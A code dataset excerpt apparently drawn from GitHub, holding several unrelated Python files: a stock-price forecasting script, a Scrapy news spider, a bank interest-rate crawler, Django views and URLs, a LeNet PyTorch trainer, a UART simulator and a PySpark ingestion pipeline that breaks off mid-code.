hyperparameters\n grid_search = GridSearchCV(svr, param_grid, cv=5)\n grid_search.fit(X_train, y_train)\n\n # Get the best hyperparameters from Grid Search\n best_params = grid_search.best_estimator_\n\n # Make predictions on the testing set\n predictions = best_params.predict(X_test)\n\n return best_params\n\n\n def _ensemble_model(rf_model, knn_model, xgb_model, X_train, y_train, X_test, y_test):\n # Create a dictionary of our models\n estimators = [('svr', knn_model), ('rf', rf_model), ('xgb', xgb_model)]\n\n # Create our voting classifier, inputting our models\n ensemble = VotingRegressor(estimators)\n\n # fit model to training data\n ensemble.fit(X_train, y_train)\n\n # test our model on the test data\n print(ensemble.score(X_test, y_test))\n\n prediction = ensemble.predict(X_test)\n\n return ensemble\n\n\n df = df[~((df.index.month == 3) & (df.index.year == datetime.now().year))]\n train_data, test_data = train_test_split(df, test_size=0.3, shuffle=False)\n\n train_data = train_data.fillna(train_data.mean())\n test_data = test_data.fillna(test_data.mean())\n\n # Prepare the training and test data\n X_train = train_data.drop(['close'], axis=1)\n y_train = train_data['close']\n\n y_test = test_data['close']\n X_test = test_data.drop(['close'], axis=1)\n\n rf_model = _train_random_forest(X_train, y_train, X_test, y_test)\n svr_model = _train_svr(X_train, y_train, X_test, y_test)\n xgb_model = _train_xgboost(X_train, y_train, X_test, y_test)\n ensemble_model = _ensemble_model(rf_model, svr_model, xgb_model, X_train, y_train, X_test, y_test)\n\n rf_prediction = rf_model.predict(X_test)\n svr_prediction = svr_model.predict(X_test)\n xgb_prediction = xgb_model.predict(X_test)\n ensemble_prediction = ensemble_model.predict(X_test)\n\n print('rf prediction is ', rf_prediction)\n print('svr prediction is ', svr_prediction)\n print('ensemble prediction is ', ensemble_prediction)\n print('truth values are ', y_test.values)\n\n # Create a DataFrame with actual and predicted values\n march_dates = data.loc[(data.index.year == datetime.now().year) & (data.index.month == 3)].index.date\n\n\n def determine_best_model(days):\n\n best_model_info_dict = dict(pred_model=None, model_error=None, model_name=None, period=period)\n\n # Calculate the RMSE\n rf_rmse = mean_squared_error(y_test[:days], rf_prediction[:days], squared=False)\n svr_rmse = mean_squared_error(y_test[:days], svr_prediction[:days], squared=False)\n xgb_rmse = mean_squared_error(y_test[:days], xgb_prediction[:days], squared=False)\n ensemb_rmse = mean_squared_error(y_test[:days], ensemble_prediction[:days], squared=False)\n\n print(f\"period = {period}\")\n print(\"Root Mean Squared Error (rf_rmse): {:.2f}\".format(rf_rmse))\n print(\"Root Mean Squared Error (svr_rmse): {:.2f}\".format(svr_rmse))\n print(\"Root Mean Squared Error (xgb_rmse): {:.2f}\".format(xgb_rmse))\n print(\"Root Mean Squared Error (ensemb_rmse): {:.2f}\".format(ensemb_rmse))\n\n # Determine which model has the smallest RMSE\n if rf_rmse == min(rf_rmse, svr_rmse, xgb_rmse, ensemb_rmse):\n best_model_info_dict['pred_model'] = rf_prediction\n best_model_info_dict[model_error] = rf_rmse\n best_model_info_dict['model_name'] = \"Random Forest\"\n elif svr_rmse == min(rf_rmse, svr_rmse, xgb_rmse, ensemb_rmse):\n best_model_info_dict['pred_model'] = svr_prediction\n best_model_info_dict[model_error] = svr_rmse\n best_model_info_dict['model_name'] = \"SVR\"\n elif xgb_rmse == min(rf_rmse, svr_rmse, xgb_rmse, ensemb_rmse):\n best_model_info_dict['pred_model'] = xgb_prediction\n best_model_info_dict[model_error] = xgb_rmse\n best_model_info_dict['model_name'] = \"XGB\"\n else:\n best_model_info_dict['pred_model'] = ensemble_prediction\n best_model_info_dict[model_error] = ensemb_rmse\n best_model_info_dict['model_name'] = \"Ensemble\"\n\n return best_model_info_dict\n\n\n print(\"Ticker name: \", ticker, \"\\n\",\n \"Best Model: \", model_error[0][4], \"\\n\",\n \"Period: \", model_error[0][3])\n\n actual_pred_df = pd.DataFrame(\n {'Date': march_dates, 'Stock Name': ticker, 'Prediction': model_error[0][0][:len(march_dates)]})\n df_all_predicts = df_all_predicts._append(actual_pred_df)\n\n# Rename the index column to \"Date\"\ndf_all_predicts = df_all_predicts.rename_axis(\"Date\")\n# save the DataFrame as a CSV file\ndf_all_predicts.to_csv(\"prediction_results.csv\", index=True)\n\n# Rename the index column to \"Date\"\ndf_all_companies = df_all_companies.rename_axis(\"Date\")\n# save the DataFrame as a CSV file\ndf_all_companies.to_csv(\"historical_results.csv\", index=True)\n","repo_name":"burakkececi/stock-forecasting-app","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10565,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"40476785561","text":"# -*- coding: utf-8 -*-\nimport json\nimport time\nimport demjson\nimport scrapy\nfrom scrapy import Selector\nfrom libMe.db.LogDao import LogDao\nfrom libMe.util import CssUtil\nfrom libMe.util import EncryptUtil\nfrom libMe.util import NetworkUtil\nfrom libMe.util import EncodeUtil\nfrom libMe.util import TimerUtil\nfrom ..db.CheckDao import CheckDao\nfrom ..items import ContentItem\nfrom libMe.db.DataMonitorDao import DataMonitorDao\n\n\nclass DetailSpider(scrapy.Spider):\n name = 'jiemian_detail'\n download_delay = 2.5 # 基础间隔 0.5*download_delay --- 1.5*download_delays之间的随机数\n handle_httpstatus_list = [301, 302, 204, 206, 403, 404, 500] # 可以处理重定向及其他错误码导致的 页面无法获取解析的问题\n\n def __init__(self, name=None, **kwargs):\n super(DetailSpider, self).__init__(name=None, **kwargs)\n self.count = 0\n self.request_stop = False\n self.request_stop_time = 0\n self.logDao = LogDao(self.logger, 'jiemian_list_detail')\n self.checkDao = CheckDao()\n # 用于缓存css\n self.css = {\n 'hash': 'style'\n }\n self.dataMonitor = DataMonitorDao()\n self.isRunningStop = False\n\n def close(spider, reason):\n if not spider.isRunningStop:\n # 如果启动爬虫时候,还有未完成的抓取,此时不应该设置状态为停止,反之\n spider.saveStatus('stop')\n # spider.dataMonitor.updateTotal('jiemian_total')\n pass\n\n def start_requests(self):\n # 如果正在爬,就不请求\n status = self.getStatus()\n if status == 'running':\n self.isRunningStop = True\n return\n self.saveStatus('running')\n\n # 检测网络\n while not NetworkUtil.checkNetWork():\n # 20s检测一次\n TimerUtil.sleep(20)\n self.logDao.warn(u'检测网络不可行')\n\n # 检测服务器\n while not NetworkUtil.checkService():\n # 20s检测一次\n TimerUtil.sleep(20)\n self.logDao.warn(u'检测服务器不可行')\n # 必读 玩物 产品榜 快报 游戏要闻 单品 盘点 花边要闻 游戏快报\n cids = [\n {'src_channel': u'界面科技', 'sub_channel': u'必读', 'num': '6'},\n {'src_channel': u'界面科技', 'sub_channel': u'玩物', 'num': '66'},\n {'src_channel': u'界面科技', 'sub_channel': u'产品榜', 'num': '73'},\n {'src_channel': u'界面科技', 'sub_channel': u'快报', 'num': '84'},\n {'src_channel': u'界面游戏', 'sub_channel': u'游戏要闻', 'num': '100'},\n {'src_channel': u'界面游戏', 'sub_channel': u'单品', 'num': '119'},\n {'src_channel': u'界面游戏', 'sub_channel': u'盘点', 'num': '120'},\n {'src_channel': u'界面游戏', 'sub_channel': u'花边要闻', 'num': '121'},\n {'src_channel': u'界面游戏', 'sub_channel': u'游戏快报', 'num': '122'}\n ]\n # 必读\n url = 'https://a.jiemian.com/index.php?m=lists&a=ajaxlist&callback=&_=1502103362598&page='\n for cid in cids:\n for page in range(1, 2):\n cidNum = cid.get('num')\n src_channel = cid.get('src_channel')\n sub_channel = cid.get('sub_channel')\n newUrl = url + str(page) + ('&cid=' + cidNum)\n self.logDao.warn(u'进行抓取列表:' + newUrl)\n yield scrapy.Request(url=newUrl,\n meta={\n 'request_type': 'jiemian_page_list',\n 'url': newUrl,\n 'src_channel': src_channel,\n 'sub_channel': sub_channel\n },\n callback=self.parseArticleList, dont_filter=True)\n\n # TODO...还没有遇到被禁止的情况\n def parseArticleList(self, response):\n body = EncodeUtil.toUnicode(response.body)\n if False:\n self.logDao.info(u'访问过多被禁止')\n else:\n # 格式化\n jsonStr = demjson.decode(body.lstrip('(').rstrip(')')) or {}\n rst = jsonStr.get('rst', '')\n if not rst:\n self.logDao.info(u'不存在内容')\n return\n self.logDao.info(u'开始解析列表')\n src_channel = response.meta['src_channel']\n sub_channel = response.meta['sub_channel']\n selector = Selector(text=rst)\n articles = selector.xpath('//div[boolean(contains(@class,\"news-view\"))]')\n for article in articles:\n source_url = article.xpath('.//div[@class=\"news-header\"]//a/@href').extract_first('')\n title = article.xpath(\n './/div[@class=\"news-header\"]//a/@title | .//div[@class=\"news-header\"]//a/text()').extract_first('')\n post_date = article.xpath('.//div[@class=\"news-footer\"]//span[@class=\"date\"]/text()').extract_first('')\n tags = article.xpath('.//div[@class=\"news-tag\"]/a/text()').extract()\n\n if not source_url:\n self.logDao.info(u'文章不存在' + title + ':' + source_url + ':' + post_date)\n continue\n\n # 如果存在则不抓取\n if self.checkDao.checkExist(source_url):\n self.logDao.info(u'文章已经存在' + title + ':' + source_url + ':' + post_date)\n continue\n\n self.logDao.info(u'抓取文章' + title + ':' + source_url + ':' + post_date)\n\n yield scrapy.Request(url=source_url,\n meta={\n 'request_type': 'jiemian_detail',\n \"title\": title,\n 'post_date': post_date,\n 'sub_channel': sub_channel,\n 'src_channel': src_channel,\n 'tags': tags,\n 'source_url': source_url\n },\n callback=self.parseArticle)\n\n def parseArticle(self, response):\n body = EncodeUtil.toUnicode(response.body)\n if False:\n self.logDao.info(u'访问过多被禁止')\n else:\n title = response.meta['title']\n post_date = response.meta['post_date']\n source_url = response.meta['source_url']\n sub_channel = response.meta['sub_channel']\n src_channel = response.meta['src_channel']\n tags = response.meta['tags']\n self.logDao.info(u'开始解析文章:' + title + ':' + post_date + ':' + source_url)\n\n selector = Selector(text=body)\n\n # 得到样式\n styleUrls = selector.xpath('//link[@rel=\"stylesheet\"]/@href').extract()\n styleList = []\n for styleUrl in styleUrls:\n if styleUrl.startswith('//'):\n styleUrl = 'http:' + styleUrl\n # 得到hash作为key\n styleUrlHash = EncryptUtil.md5(styleUrl)\n if not self.css.get(styleUrlHash):\n # 不存在则去下载 并保存\n self.css[styleUrlHash] = CssUtil.downLoad(styleUrl)\n styleList.append(self.css[styleUrlHash])\n styles = CssUtil.compressCss(styleList).replace('\\'', '\"').replace('\\\\', '\\\\\\\\')\n\n # 替换样式里面的链接\n styles = CssUtil.clearUrl(styles)\n styles = CssUtil.clearBackgroundColor(styles, ['#f5f5f5'])\n\n post_user = selector.xpath('//div[@class=\"article-info\"]//span[@class=\"author\"]//text()').extract_first('')\n\n src_ref = src_channel\n\n post_date = selector.xpath('//div[@class=\"article-info\"]//span[@class=\"date\"]//text()').extract_first('')\n\n try:\n post_date = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.strptime(post_date, \"%Y/%m/%d %H:%M\"))\n except Exception:\n pass\n\n tags_ = selector.xpath('//div[@class=\"article-info\"]//*[@class=\"tags\"]//text()').extract()\n tags = tags + tags_\n tags = ','.join(tags)\n\n \"\"\"\n article-main\n article-img\n article-content\n p\n article-source\n p:来源\n p:点击下载“界面新闻”APP 不抓\n \"\"\"\n\n # 得到article-img\n article_img = selector.xpath('//div[@class=\"article-main\"]/div[@class=\"article-img\"]').extract_first('')\n\n # 得到article-content\n article_content = selector.xpath('//div[@class=\"article-main\"]/div[@class=\"article-content\"]').extract_first('')\n\n if not article_content:\n self.logDao.info(u'文章不存在' + title + ':' + source_url + ':' + post_date)\n return\n\n contentSelector = Selector(text=article_content)\n content_items = contentSelector.xpath('//div[@class=\"article-content\"]/*[not(name(.)=\"script\") and not('\n 'name(.)=\"iframe\") and not(name(.)=\"style\") and not(boolean( '\n 'contains(a//@href,\"?m=app\"))) and not(boolean(@class=\"share-view\" '\n 'or @class=\"article-source\"))]')\n\n # 得到来源 做替换\n contentSource = contentSelector.xpath('//div[@class=\"article-content\"]/div[@class=\"article-source\"]/p/text()').extract_first('')\n if contentSource:\n contentSource = contentSource.replace(u'来源:', u'')\n src_ref = contentSource\n\n # 得到纯文本\n content_txt = []\n for item in content_items:\n # 文本\n allTxt = item.xpath('.//text()').extract()\n allTxt = ''.join(allTxt).replace('\\t', '')\n # 加入\n content_txt.append(allTxt)\n content_txt = '\\n'.join(content_txt)\n\n # 组装新的内容标签\n outHtml = u\"\"\"
${++articleImg++}
${++content++}
\"\"\"\n\n content_items = content_items.extract()\n content_items = ''.join(content_items)\n\n content_html = outHtml.replace('${++articleImg++}', article_img).replace('${++content++}', content_items)\n\n selector = Selector(text=content_html)\n # 解析文档中的所有图片url,然后替换成标识\n image_urls = []\n imgs = selector.xpath('descendant::img')\n\n for img in imgs:\n # 图片可能放在src 或者data-src\n image_url_base = img.xpath('@src').extract_first('')\n if image_url_base.startswith('//'):\n image_url = 'http:' + image_url_base\n else:\n image_url = image_url_base\n if image_url and image_url.startswith('http'):\n self.logDao.info(u'得到图片:' + image_url)\n image_urls.append({\n 'url': image_url,\n })\n content_html = content_html.replace(image_url_base, image_url)\n\n urlHash = EncryptUtil.md5(source_url.encode('utf8'))\n self.saveFile(urlHash, body)\n\n # 得到hashCode\n hash_code = self.checkDao.getHashCode(source_url)\n\n # 去除 image 的 alt title\n selector = Selector(text=content_html)\n imgAltTitles = selector.xpath('//img/@alt|//img/@title').extract()\n # 处理提示块img的 alt title, 关注//img/@alt|//img/@title\n for imgAltTitle in imgAltTitles:\n if imgAltTitle.strip(' '):\n content_html = content_html.replace(imgAltTitle, '')\n\n contentItem = ContentItem()\n contentItem['content_txt'] = content_txt\n contentItem['image_urls'] = image_urls\n contentItem['title'] = title\n contentItem['source_url'] = source_url\n contentItem['post_date'] = post_date\n contentItem['sub_channel'] = sub_channel\n contentItem['post_user'] = post_user\n contentItem['tags'] = tags\n contentItem['styles'] = styles\n contentItem['content_html'] = content_html\n contentItem['hash_code'] = hash_code\n contentItem['info_type'] = 1\n contentItem['src_source_id'] = 5\n # contentItem['src_account_id'] = 0\n contentItem['src_channel'] = src_channel\n contentItem['src_ref'] = src_ref\n return contentItem\n\n def saveFile(self, title, content):\n # TODO..暂时不保存,考虑保存下来复用效果不佳\n return\n # filename = 'html/%s.html' % title\n # with open(filename, 'wb') as f:\n # f.write(content.encode(\"utf8\"))\n # self.log('Saved file %s' % filename)\n\n def getStatus(self):\n loadF = None\n try:\n with open(\"catchStatus.json\", 'r') as loadF:\n aa = json.load(loadF)\n return aa.get('status')\n finally:\n if loadF:\n loadF.close()\n\n def saveStatus(self, status):\n loadF = None\n try:\n with open(\"catchStatus.json\", \"w\") as loadF:\n json.dump({'status': status}, loadF)\n finally:\n if loadF:\n loadF.close()\n","repo_name":"MaGuiSen/studyScrapy","sub_path":"jiemian/jiemian/spiders/JieMianDetailSpider.py","file_name":"JieMianDetailSpider.py","file_ext":"py","file_size_in_byte":14009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36356924137","text":"from django.urls import path\nfrom .views import (\n AdsListView,\n AdsDeleteView,\n AdsDetailView,\n AdsUpdateView,\n AdsCreateView,\n CategoryFilterView,\n OwnPostsView,\n FavPostsView,\n PostLikeAction,\n newpost\n)\n\nurlpatterns = [\n path('/like', PostLikeAction.as_view(), name='like'),\n path('/edit', AdsUpdateView.as_view(), name='edit'),\n path('/delete', AdsDeleteView.as_view(), name='delete'),\n path('/', AdsDetailView.as_view(), name='view'),\n # path('new/', AdsCreateView.as_view(), name='new'),\n path('new/', newpost, name='new'),\n path('filter/', CategoryFilterView.as_view(), name='filter'),\n path('own/', OwnPostsView.as_view(), name='my_posts'),\n path('favorite/', FavPostsView.as_view(), name='fav'),\n path('', AdsListView.as_view(), name='list'),\n]\n","repo_name":"abdulmunimjemal/bete","sub_path":"posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25456834224","text":"import json\nimport requests\nimport xml.etree.ElementTree as ET\nimport os\n\n\ncurrent_file = __file__ # Gets the current file path\nparent_directory = os.path.abspath(os.path.join(current_file, os.pardir))\n\n\nclass Interest_Rate_Crawler:\n def __init__(self):\n self.url = 'https://portal.vietcombank.com.vn/UserControls/TVPortal.TyGia/pListLaiSuat.aspx?'\n self.query_params = {\n 'CusstomType': '2',\n 'BacrhID': '1',\n 'InrateType': '',\n 'isEn': 'False',\n 'numAfter': '2'\n }\n\n def crawl_interest_rate(self):\n response = requests.get(self.url, params=self.query_params)\n root = ET.fromstring('' + response.text + '')\n VCB_interst_rate = {}\n table = root.findall('.//table/tbody/tr/td[@class=\"code\"]...')\n for han_muc in table:\n thoi_gian = han_muc.find('./td[@class=\"code\"]').text.replace('\\n', '').replace('\\r', '')\n thoi_gian = thoi_gian.strip()\n lai_suat = han_muc.find('./td[2]').text.replace('\\n', '').replace(' ', '').replace('%', '')\n VCB_interst_rate[thoi_gian] = float(lai_suat)\n\n VCB_object = json.dumps(VCB_interst_rate, ensure_ascii=False)\n with open(f'{parent_directory}/Dimentional_data/vcb_interest_rate.json', 'w', encoding='utf-8') as json_file:\n json_file.write(VCB_object)\n\n\nif __name__ == \"__main__\":\n irc = Interest_Rate_Crawler()\n irc.crawl_interest_rate()\n","repo_name":"Tran-Quang-Phuc/Data_Pipeline","sub_path":"dags/ETL_Manager/Extract/extract_interest_rates_data.py","file_name":"extract_interest_rates_data.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35024405647","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport time\nimport d2lzh_pytorch as d2l\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\n\n# LeNet\n# 展平\nclass Flatten(torch.nn.Module):\n def forward(self, x):\n return x.view(x.shape[0], -1)\n\n\n# 重定型图像大小\nclass Reshape(torch.nn.Module):\n def forward(self, x):\n return x.view(-1, 1, 28, 28)\n\n\nnet = torch.nn.Sequential(\n Reshape(),\n # (n_h-k_h+p_h+s_h)/s_h ,此处s_h为默认值1\n # 1*28*28 => (28-5+2*2+1)/1 * (28-5+2*2+1)/1 => 6*28*28\n nn.Conv2d(in_channels=1, out_channels=6, kernel_size=5, padding=2),\n nn.Sigmoid(),\n # 6*28*28 => 6*14*14\n nn.AvgPool2d(kernel_size=2, stride=2),\n # 6*14*14 => (14-5+1)/1 * (14-5+1)/1 => 16*10*10 (padding = 0)\n nn.Conv2d(in_channels=6, out_channels=16, kernel_size=5),\n nn.Sigmoid(),\n # 16*10*10 => 16*5*5\n nn.AvgPool2d(kernel_size=2, stride=2),\n Flatten(),\n nn.Linear(in_features=16*5*5, out_features=120),\n nn.Sigmoid(),\n nn.Linear(in_features=120, out_features=84),\n nn.Sigmoid(),\n nn.Linear(in_features=84, out_features=10)\n)\n\n\n# 查看形状\n# X = torch.randn(size=(1, 1, 28, 28), dtype=torch.float32)\n# for layer in net:\n# X = layer(X)\n# print(layer.__class__.__name__, 'output_shape: \\t', X.shape)\n\n# 获取数据\nbatch_size = 256\ntrain_iter, test_iter = d2l.load_data_fashion_mnist(batch_size=batch_size)\n\n# print(len(train_iter)) = 235,共235个批次,每个批次有batch_size张图片\n\n\n# 使用GPU加速计算\n# def try_gpu():\n# if torch.cuda.is_available():\n# device=torch.device('cuda:1')\n# else:\n# device=torch.device('cpu')\n# return device\n\n\n# 计算准确率\n'''\n(1). net.train()\n 启用 BatchNormalization 和 Dropout,将BatchNormalization和Dropout置为True\n(2). net.eval()\n不启用 BatchNormalization 和 Dropout,将BatchNormalization和Dropout置为False\n'''\n\n\ndef evaluate_accuracy(data_iter, net, device=torch.device('cpu')):\n acc_sum, n = torch.tensor([0], dtype=torch.float32, device=device),0\n for X,y in data_iter:\n # 将X,y代表的tensor变量,copy到device代表的设备上\n X, y = X.to(device), y.to(device)\n net.eval()\n with torch.no_grad():\n y = y.long()\n # 返回最大元素所对应的索引数,从0开始\n acc_sum += torch.sum((torch.argmax(net(X), dim=1) == y))\n n += y.shape[0]\n return acc_sum.item()/n\n\n\n# 定义训练函数\ndef train_ch5(net, train_iter, test_iter, criterion, num_epochs, batch_size, device, lr=None):\n print('Train on', device)\n net.to(device)\n optimizer = optim.SGD(net.parameters(), lr=lr)\n for epoch in range(num_epochs):\n train_l_sum = torch.tensor([0.0], dtype=torch.float32, device=device)\n train_acc_sum = torch.tensor([0.0], dtype=torch.float32, device=device)\n n, start = 0, time.time()\n for X, y in train_iter:\n net.train()\n\n optimizer.zero_grad()\n X, y = X.to(device), y.to(device)\n y_hat = net(X)\n loss = criterion(y_hat, y)\n loss.backward()\n optimizer.step()\n\n with torch.no_grad():\n y = y.long()\n train_l_sum += loss.float()\n\n # 计算训练集中预测正确的总数\n train_acc_sum += (torch.sum((torch.argmax(y_hat, dim=1) == y))).float()\n n += y.shape[0]\n test_acc = evaluate_accuracy(test_iter, net, device)\n print('epoch %d, loss %.4f, train acc %.3f, test acc %.3f, '\n 'time %.1f sec'\n % (epoch + 1, train_l_sum/n, train_acc_sum/n, test_acc,\n time.time() - start))\n\n\n# 训练\nlr, num_epochs = 0.9, 10\n\n\ndef init_weights(m):\n if type(m) == nn.Linear or type(m) == nn.Conv2d:\n torch.nn.init.xavier_uniform_(m.weight)\n\n\nnet.apply(init_weights)\nnet = net.to(device)\ncriterion = nn.CrossEntropyLoss()\ntrain_ch5(net, train_iter, test_iter, criterion, num_epochs, batch_size, device, lr)\n\n# 测试\nfor testdata, testlabe in test_iter:\n testdata, testlabe = testdata.to(device), testlabe.to(device)\n break\n\nprint(testdata.shape, testlabe.shape)\nnet.eval()\ny_pre = net(testdata)\nprint(torch.argmax(y_pre, dim=1)[:20])\nprint(testlabe[:20])\n","repo_name":"Rookie-Kai/DeepLearning","sub_path":"LeNet.py","file_name":"LeNet.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39300480841","text":"from django.shortcuts import render\nfrom poms.forms import PomsForm\nfrom django.core.urlresolvers import reverse\nfrom django.http import HttpResponseRedirect\n\n# Create your views here.\ndef index(request):\n\n # If it's a HTTP POST, we're interested in processing form data.\n\n\n if request.method == 'POST':\n # Attempt to grab information from the raw form information.\n\n form = PomsForm(data=request.POST)\n\n if form.is_valid():\n # Save the driver's form data to the database.\n poms = form.save(commit=False)\n poms.persona_id = request.session['persona_id']\n poms.save()\n\n return HttpResponseRedirect(reverse('encuestas:instrucciones'))\n\n # Not a HTTP POST, so we render our form using two ModelForm instances.\n # These forms will be blank, ready for user input.\n else:\n #print request.session['persona_id']\n form = PomsForm()\n\n return render(request, 'poms/index.html', {'form': form})","repo_name":"sergio-banuelos/IAPS-mx","sub_path":"iapsmx/poms/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36731495785","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\n#multibrowser open\ndriver=webdriver.Chrome(r'C:\\Users\\silpa\\PycharmProjects\\chromedriver_win32\\chromedriver')\n\ndriver.get(\"https://www.google.com/\")\n\nprint(driver.title) #title of the page\n\nprint(driver.current_url) #returns URL of the page\n\nprint(driver.page_source) #retruns code for the page\n\ndriver.close() #close the browser\n\n\n\n","repo_name":"silpa-priyadarshini/SELENIUM-_PYTHON","sub_path":"sessions/project-1.py","file_name":"project-1.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21652665727","text":"import numpy as np\n\nclass uart_tx:\n baud_counter = 9600;\n clk_counter = 0;\n bit_counter = 0;\n UART_TX_STATE = 0;\n data_reg = np.full(10, True);\n sw_tx = 1;\n def __init__(self, baud_counter):\n self.baud_counter = baud_counter;\n self.UART_TX_STATE = 0;\n self.clk_counter = 0;\n self.sw_tx = 1;\n def process(self, send, data):\n if (self.UART_TX_STATE == 0):\n self.sw_tx = 1\n if (send == 1):\n self.UART_TX_STATE = 1;\n self.clk_counter = self.baud_counter - 1\n self.bit_counter = 0\n for i in range(8):\n self.data_reg[8 - i] = np.unpackbits(np.array([data], dtype=np.uint8))[i]\n self.data_reg[9] = 1;\n self.data_reg[0] = 0;\n else:\n self.sw_tx = self.data_reg[self.bit_counter]\n if (self.clk_counter == 0):\n self.bit_counter = self.bit_counter + 1\n if (self.bit_counter >= 10):\n self.UART_TX_STATE = 0;\n self.bit_counter = 0; \n self.status();\n elif (self.bit_counter == 9):\n self.clk_counter = self.baud_counter // 2 -1\n else:\n self.clk_counter = self.baud_counter - 1;\n else:\n self.clk_counter = self.clk_counter - 1;\n \n return self.sw_tx\n \n def status(self):\n print (\"To UART_RX --- Transmitted : \", self.data_reg[8:0:-1] * 1);\n\n\n\n\n\n\nclass uart_rx:\n baud_counter = 9600;\n clk_counter = 0;\n bit_counter = 0;\n UART_RX_STATE = 0;\n data_reg = np.full(8, False);\n def __init__(self, baud_counter):\n self.baud_counter = baud_counter;\n self.UART_RX_STATE = 0;\n self.clk_counter = 0;\n def process(self, sw_rx):\n if (self.UART_RX_STATE == 0):\n if (sw_rx == 0):\n self.UART_RX_STATE = 1;\n self.clk_counter = self.baud_counter + (self.baud_counter // 2) - 1\n self.bit_counter = 0\n else:\n if (self.clk_counter == 0):\n self.clk_counter = self.baud_counter - 1;\n if (self.bit_counter >= 8):\n self.UART_RX_STATE = 0;\n self.bit_counter = 0; \n self.clk_counter = 0;\n self.status();\n else:\n self.data_reg[self.bit_counter] = sw_rx\n self.bit_counter = self.bit_counter + 1\n \n else:\n self.clk_counter = self.clk_counter - 1;\n \n def status(self):\n print (\"from UART_TX --- Recieved : \", self.data_reg[::-1] * 1);\n\n\n\n\nclass uart_driver:\n def __init__(self, baud_counter):\n self.uart_rx1 = uart_rx(baud_counter);\n self.uart_tx1 = uart_tx(baud_counter);\n\n def rx_tx(self, sw_rx, send, data):\n self.uart_rx1.process(sw_rx);\n return self.uart_tx1.process(send, data);\n\n","repo_name":"Ibru1729/Fpga_Ledarray","sub_path":"sim/uart_driver.py","file_name":"uart_driver.py","file_ext":"py","file_size_in_byte":3041,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"16708964904","text":"from datetime import datetime\n\nfrom delta.tables import DeltaTable\nfrom pyspark.sql import DataFrame\nfrom pyspark.sql import functions as f\nfrom pyspark.sql.types import StringType, TimestampType\n\n\n# Currenly we dont have proper partition logic implemented\n# This would be done after confirmation\nclass IngestionPipeline:\n def __init__(self, config: dict, **kwargs):\n self.config = config\n self._validateConf()\n self.sc.addPyFile(self.config[\"utilsPath\"])\n from utils import athena_refresh_partitions, column_datatype, path_exists\n\n self.path_exists = path_exists\n self.column_datatype = column_datatype\n self.athena_refresh_partitions = athena_refresh_partitions\n\n def _validateConf(self):\n \"\"\"_validateConf Helper method to setup the instance variables\n Takes the config dict from the instance and parse\n \"\"\"\n _ = [setattr(self, k, v) for k, v in self.config.items()]\n if self.partition_flag == \"Y\" and \"partition_col\" not in self.config:\n self.partition_col = \"de_created_dt\"\n curr_dt = datetime.now()\n self.de_created_dt = int(curr_dt.strftime(\"%Y%m%d%H%M%S\"))\n self.partition_col_dtype = \"string\"\n if not hasattr(self, \"flatten_conf\"):\n self.flatten_conf = {\n \"skip_arrays\": False,\n \"skip_structs\": False,\n \"columns_to_be_skipped\": [],\n \"columns_to_be_exploded\": []\n }\n if not hasattr(self, \"cols_to_front\"):\n self.cols_to_front = None\n if not hasattr(self, \"keep_parent_names\"):\n self.keep_parent_names = \"Y\"\n if not hasattr(self, \"rename_col_mapping\"):\n self.rename_col_mapping = None\n\n def castAllColString(self, df: DataFrame) -> DataFrame:\n \"\"\"castAllColString helps in casting all columns as string\n Args:\n df: spark dataframe for which casting to be applied\n Returns:\n casted dataframe\n \"\"\"\n return df.select([f.col(c).cast(\"string\") for c in df.columns])\n\n def readData(self) -> DataFrame:\n \"\"\"readData reads the data from the specified input path as Dataframe\n Returns:\n spark dataframe with input data\n \"\"\"\n assert self.inp_file_format in [\n \"json\",\n \"parquet\",\n \"csv\"\n ], f\"Invalid file format - {self.inp_file_format}\"\n if self.path_exists(self.sc, self.inp_read_path):\n opts = {\"mergeSchema\": \"true\"}\n if self.inp_file_format == 'json':\n opts[\"multiline\"] = \"true\"\n elif self.inp_file_format == 'csv':\n opts[\"header\"] = \"true\"\n df = getattr(\n self.spark.read.options(**opts),\n self.inp_file_format,\n )(self.inp_read_path)\n if df.columns==['_id', '_doc']:\n df = self.spark.read.option(\"multiline\", \"true\").json(df.rdd.map(lambda x: x[1]))\n if (\n self.partition_flag == \"Y\"\n and \"partition_col\" not in self.config.keys()\n ):\n df = df.withColumn(\"de_created_dt\", f.lit(self.de_created_dt))\n return df\n\n def checkNonFlatCols(self, df: DataFrame) -> bool:\n \"\"\"Function to check if the dataframe has non flat columns.\n Args:\n df(DataFrame): input dataframe\n Returns:\n array_struct(bool): Whether the dataframe contains\n non flat columns or not\"\"\"\n\n for column in df.dtypes:\n if self.column_datatype(column).startswith(\"struct\") or \\\n self.column_datatype(column).startswith(\"array\"):\n array_struct = True\n break\n\n else:\n array_struct = False\n\n return array_struct\n\n def flattenJson(self, df: DataFrame) -> DataFrame:\n \"\"\"Flattens the array and struct types in the json data\n Args:\n df(DataFrame): input dataframe\n flatten_conf(dict): dict with config required for flattening\n Returns:\n df(DataFrame): flattened dataframe\"\"\"\n\n columns_to_be_skipped = []\n if self.flatten_conf[\"skip_arrays\"]:\n columns_to_be_skipped.extend(\n [\n column[0]\n for column in df.dtypes\n if self.column_datatype(column).startswith(\"array\")\n ]\n )\n\n if self.flatten_conf[\"skip_structs\"]:\n 